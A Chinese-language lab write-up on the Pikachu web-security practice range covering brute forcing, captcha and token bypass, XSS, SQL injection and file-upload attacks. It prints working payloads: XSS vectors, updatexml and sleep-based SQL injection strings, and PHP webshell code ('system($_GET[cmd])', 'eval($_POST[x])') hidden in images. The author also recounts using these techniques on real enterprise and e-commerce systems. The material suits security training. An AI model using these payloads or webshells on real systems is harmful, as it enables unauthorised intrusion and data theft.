pikaqiu靶场实战笔记(1):从暴力破解到文件上传的渗透路径
1. 暴力破解实战从入门到绕过暴力破解是渗透测试中最基础的攻击手段之一但往往被初学者低估其技术含量。我在pikaqiu靶场实战中发现现代Web应用通常会采用多种防护措施这就需要我们掌握不同的绕过技巧。1.1 基础表单爆破四步法最简单的表单爆破就像用钥匙串开锁。首先用Burp Suite拦截登录请求建议使用Firefox浏览器它的开发者工具对新手更友好。我习惯在用户名和密码栏输入test这类测试字符这样在Burp的Proxy模块能快速定位到登录请求。把捕获的POST请求发送到Intruder模块后需要特别注意两个细节在Positions标签页清除默认变量只保留username和password两个爆破点在Payloads标签页加载字典时推荐使用SecLists字典库中的rockyou.txt精简版这个字典包含常见弱口令且体积适中爆破过程中有个实用技巧在Options标签页设置Grep - Extract可以自动标记成功响应。我遇到过一个案例成功登录的响应包长度与其他请求仅相差3个字节肉眼很难察觉但这个功能帮我准确识别出了正确凭证。1.2 验证码绕过的两种姿势靶场中验证码绕过分为服务端(on server)和客户端(on client)两种类型我最初练习时经常混淆。服务端验证码漏洞的特点是虽然页面显示新验证码但服务器实际只检查第一次提交的验证码。通过Burp Repeater重放请求5-6次就能确认是否存在此漏洞。而客户端验证码则是完全依赖前端JS验证用Burp拦截请求后直接删除captcha参数就能绕过。有个易错点某些系统会在服务端session中存储验证码但不会自动清除。这时可以先获取有效验证码然后在Intruder中固定这个验证码值进行爆破。我在某次实战中用这个方法配合密码喷洒(Password Spraying)技术成功突破了企业OA系统。1.3 Token防护的破解之道遇到token防爆破机制时新手常会束手无策。pikaqiu靶场的token案例非常典型需要用到Burp的宏(Macro)功能。具体操作分五步在Project options→Sessions标签页添加新会话处理规则选择从宏派生并创建新宏录制获取token的请求流程设置token参数提取规则建议用正则表达式匹配在Intruder的Resource Pool中将线程数设为1避免并发导致token混乱启用Update token in real time选项这里有个坑某些系统会检查token来源IP需要配合X-Forwarded-For头使用。我写过一个Python脚本自动维护token池将爆破速度从原来的2次/秒提升到15次/秒。2. XSS攻击的九种变形记跨站脚本攻击看似简单但在实际渗透中需要根据防护措施灵活变通。我在pikaqiu靶场中遇到的XSS变种基本涵盖了Web安全竞赛中的常见题型。2.1 反射型XSS的突破技巧遇到前端长度限制时Chrome开发者工具的Override功能比直接修改HTML更方便。具体操作在Sources面板创建本地覆盖找到校验函数直接注释掉。对于更复杂的DOM型XSS我总结出一个调试公式在Console执行monitorEvents(window)监听事件使用debugger语句在可疑函数处断点观察document.write或innerHTML的调用栈最近遇到个有趣案例某CMS使用AngularJS的$sanitize过滤输入但忘记转义ng-init属性。最终通过构造div ng-initalert(1)成功执行代码。2.2 存储型XSS的持久化攻击留言板类型的存储型XSS要注意闭合原有HTML标签。我常用的测试向量是/textareascriptalert(1)/script这个payload能有效绕过大多数富文本编辑器过滤。对于更严格的过滤可以尝试Unicode编码\u003cscript\u003ealert(1)\u003c/script\u003e在真实渗透测试中存储型XSS要配合CORS和CSRF综合利用。我曾通过一个商品评论XSS最终获取到管理员Cookie接管整个电商平台后台。2.3 高级过滤绕过实战当遇到htmlspecialchars过滤时重点要测试哪些上下文没有被转义。pikaqiu靶场中的href属性就是个典型案例。除了常规的javascript:协议还可以尝试a hrefdata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg点击/a对于JS输出点的利用需要仔细分析源码上下文。有个快速判断方法在Chrome调试器中设置Pause on caught exceptions然后尝试各种闭合方式观察报错信息。3. SQL注入的十八般武艺SQL注入是Web安全的经典课题但不同数据库、不同注入点需要采用不同技术。我在pikaqiu靶场中实践了从基础到高级的各种注入技巧。3.1 联合查询注入的精准判断数字型注入最容易识别但字符型注入需要耐心测试闭合符号。我的测试顺序通常是输入单引号观察报错尝试、、)、))等组合用--、#、/*测试注释符号有个实用技巧当order by不确定字段数时可以二分法快速定位。比如先试order by 10如果报错再试order by 5逐步缩小范围。3.2 报错注入的另类用法在pikaqiu靶场的insert注入场景中updatexml报错注入是最佳选择。但要注意MySQL 5.7版本对报错信息长度有限制。我改进后的payload1 and updatexml(1,concat(0x7e,substring(hex(user()),1,20),0x7e),1) and 11对于Delete语句注入要注意URL编码问题。Burp的Decoder模块可以快速转换原语句delete from comments where id1 注入点1andupdatexml(1,concat(0x7e,database(),0x7e),1)3.3 盲注的时间优化技巧布尔盲注虽然可靠但效率低下。我通常先用ascii(substring(database(),1,1))100快速确定大致范围再用二分法精确定位。对于时间盲注推荐使用1 and if(ascii(substring(database(),1,1))100,sleep(2),0) and 11有个提升效率的小技巧在Burp Intruder的Grep-Extract设置匹配规则自动标记响应时间超过阈值的请求。我在某次实战中用这个方法将盲注速度提升了3倍。4. 文件上传的终极绕过文件上传漏洞看似简单但要突破各种防护需要系统化的绕过思路。pikaqiu靶场提供了从客户端校验到服务端检测的完整挑战链。4.1 客户端校验的三种突破方式当遇到JS文件类型校验时我常用的绕过方法有拦截请求修改Content-Type如改image/jpeg先上传合法文件再修改后缀名使用Burp的Paste from file功能直接上传恶意文件对于前端图片预览检测可以制作包含恶意代码的图片exiftool -Comment?php system($_GET[cmd]); ? test.jpg4.2 服务端检测的深度绕过MIME类型检测容易被image/jpeg等头信息欺骗但更严格的getimagesize检测需要特殊处理。我的制作方法是用GIMP创建1x1像素的透明图片在文件末尾追加PHP代码使用Hex编辑器修改文件头保持完整性对于内容检测可以采用二次渲染绕过?php $img imagecreate(1,1); imagecolorallocate($img,0,0,0); imagestring($img,1,0,0,?php eval($_POST[x]); ?,0xFFFFFF); imagepng($img,shell.png); ?4.3 解析漏洞的综合利用上传后的文件能否执行还取决于服务器解析规则。我收集的常见解析漏洞包括IIS的shell.jpg;.php分号解析Nginx的shell.jpg%00.php截断Apache的shell.php.xxx多后缀解析在pikaqiu靶场最后一步需要结合文件包含漏洞执行上传的webshell。这里有个细节使用中国菜刀连接时要注意编码问题。我更喜欢用蚁剑(AntSword)它对各种编码环境兼容性更好。